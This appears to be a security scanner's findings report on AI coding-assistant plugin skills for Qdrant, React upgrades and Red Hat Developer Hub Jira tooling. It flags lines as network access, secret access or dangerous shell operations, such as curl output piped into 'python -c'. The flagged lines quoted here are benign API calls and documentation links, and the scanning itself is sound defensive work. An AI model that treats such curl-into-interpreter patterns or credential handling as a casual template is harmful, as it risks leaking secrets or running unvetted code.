- Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw) - Network accessline 54
- Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 55
- Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/) - Network accessline 62
See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details. - Network accessline 71
Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields) - Network accessline 73
Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md
- Network accessline 18
- Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/). - Network accessline 27
- For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/). - Network accessline 29
For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage). - Network accessline 42
- Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl - Network accessline 44
- For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled. - Network accessline 52
- Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 54
- Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty - Network accessline 56
- Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re - Network accessline 58
- For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) - Network accessline 60
- For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art - Network accessline 62
- For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https: - Network accessline 64
- Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk - Network accessline 65
- Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index) - Network accessline 66
- Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md
- Network accessline 28
- Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 29
- Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 30
- Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models) - Network accessline 31
- Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 32
- Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/) - Network accessline 39
- Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 40
- Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 41
- Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 42
- Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 49
- Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 50
- Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index) - Network accessline 51
- Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 68
Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency/SKILL.md
- Network accessline 14
- Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency) - Network accessline 15
- Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe, - Network accessline 16
- Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 23
- Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 24
- Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 25
- Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md
- Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md
- Network accessline 15
Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist - Network accessline 31
Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 33
1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc - Network accessline 34
2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s - Network accessline 35
3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 45
1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 46
2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range) - Network accessline 47
3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points) - Network accessline 58
- **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a - Network accessline 59
- **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md
- Network accessline 10
- Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/) - Network accessline 18
Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best - Network accessline 23
At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants - Network accessline 24
To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash. - Network accessline 29
If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md
- Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps/SKILL.md
- Network accessline 16
- Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 17
- Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 18
- Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 22
- Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/) - Network accessline 24
- Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs) - Network accessline 32
- Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment - Network accessline 34
- Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 44
- Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 45
- Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/) - Network accessline 46
- In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query) - Network accessline 47
- Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/SKILL.md
- Network accessline 33
Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api. - Network accessline 100
- [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis/SKILL.md
- Network accessline 14
- Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search) - Network accessline 16
- Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https:// - Network accessline 18
- If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api) - Network accessline 26
- Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 27
- Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 28
- Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 29
- Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 30
- ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 32
Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum - Network accessline 38
Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies/SKILL.md
- Network accessline 15
- Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search) - Network accessline 16
- Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom - Network accessline 17
- For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings) - Network accessline 18
- RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf) - Network accessline 19
- DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf) - Network accessline 26
- Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/) - Network accessline 27
- See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant - Network accessline 28
- ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres - Network accessline 40
- RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model - Network accessline 41
- Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th - Network accessline 42
- Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback) - Network accessline 43
- Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en - Network accessline 49
- Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr) - Network accessline 57
- Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api) - Network accessline 58
- Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy) - Network accessline 59
- Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api) - Network accessline 64
Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)
harness/github-copilot/plugins/qdrant-development/skills/qdrant-version-upgrade/SKILL.md
- Network accessline 31
A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen - Network accessline 46
3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo - Network accessline 47
4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6. - Network accessline 48
5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. - Network accessline 87
- [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor) - Network accessline 88
- [qcloud CLI](https://github.com/qdrant/qcloud-cli)
harness/github-copilot/plugins/react18-upgrade/skills/react18-lifecycle-patterns/references/componentWillMount.md
- Network accessline 57
componentWillMount() { this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 58
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 59
fetch(`/api/users/${this.props.userId}`) - Network accessline 77
// All side effects move here - runs after first render this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 78
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 79
fetch(`/api/users/${this.props.userId}`) - Network accessline 136
componentWillMount() { this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B - Network accessline 137
this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B .then(items => this.setState({ items, loading: false })); - Network accessline 138
fetch('/api/items').then(r => r.json()) // Case B - Network accessline 151
componentDidMount() { fetch('/api/items').then(r => r.json()) // Case B → componentDidMount - Network accessline 152
fetch('/api/items').then(r => r.json()) // Case B → componentDidMount
harness/github-copilot/plugins/react19-upgrade/skills/react19-concurrent-patterns/references/react19-suspense.md
- Network accessline 88
// Raw promise (not recommended in production): function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 89
function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); return <pre>{JSON.stringify(data, null, 2)}</pre>; - Network accessline 90
const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 111
// Only create promise once per id: const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), - Network accessline 112
const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), [id] - Network accessline 113
fetch(`/api/data/${id}`).then(r => r.json()),
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/assign.md
- Network accessline 43
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \ - Network accessline 60
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 84
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 209
curl -s -X PUT \ - Network accessline 211
-H "Content-Type: application/json" \ -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234" - Network accessline 213
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/auth.md
- Network accessline 5
**Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution. - Network accessline 31
The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`. - Network accessline 45
CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net" - Network accessline 46
JIRA_BASE="https://redhat.atlassian.net" - Dangerous shell operationline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 65
The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/duplicates.md
- Network accessline 37
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/graphql-queries.md
- Network accessline 5
**Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below). - Network accessline 25
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 33
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 43
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 76
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 90
curl -s -u "$AUTH" -X POST \ - Network accessline 112
# Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \ - Network accessline 113
curl -s -u "$AUTH" -X POST \ - Network accessline 143
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 168
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/plan.md
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/refine.md
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/release.md
- Network accessline 31
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/rest-api-fallback.md
- Network accessline 26
curl -s -o jira-openapi.json \ - Network accessline 27
'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 61
# List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \ - Dangerous shell operationline 62
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/field' | python -c " - Network accessline 62
curl -s -u "$AUTH" \ - Network accessline 63
'https://redhat.atlassian.net/rest/api/3/field' | \ - Dangerous shell operationline 77
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | python -c " - Network accessline 77
curl -s -u "$AUTH" \ - Network accessline 78
'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \ - Network accessline 93
|--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla - Network accessline 94
| **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 95
| **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint | - Network accessline 104
curl -s -X PUT \ - Network accessline 106
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10028": 5}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 108
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 114
curl -s -X PUT \ - Network accessline 116
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10795": {"value": "M"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 118
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 126
curl -s -X PUT \ - Network accessline 128
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 130
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 138
curl -s -X PUT \ - Network accessline 140
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 142
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 163
curl -s -u "$AUTH" \ - Network accessline 164
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/sprint-report.md
- Network accessline 38
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-epic.md
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-issue.md
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/update-jira-status.md
- Network accessline 57
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/parse_issues.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/setup.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 211
else: print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 212
print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") return - Network accessline 213
print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 239
print(" Then: chmod 600 .jira-token") print(" REST API/GraphQL fallback will not work without it.") print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/") - Network accessline 241
print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/customization-system.md
- Access to secretsline 23
[Credential-related source omitted]
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/env-reference.md
- Network accessline 25
|----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Network accessline 26
| `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID | - Network accessline 27
| `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 36
| Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 37
|----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user | - Network accessline 38
| `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 47
| Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 48
|----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token | - Network accessline 49
| `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 80
| Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Network accessline 81
|----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use | - Network accessline 82
| `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Network accessline 134
| `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Network accessline 135
| `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) | - Network accessline 136
| `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Access to secretsline 149
[Credential-related source omitted]
harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/troubleshooting.md
- Network accessline 17
# 2. Test at http://localhost:7007 - Access to secretsline 31
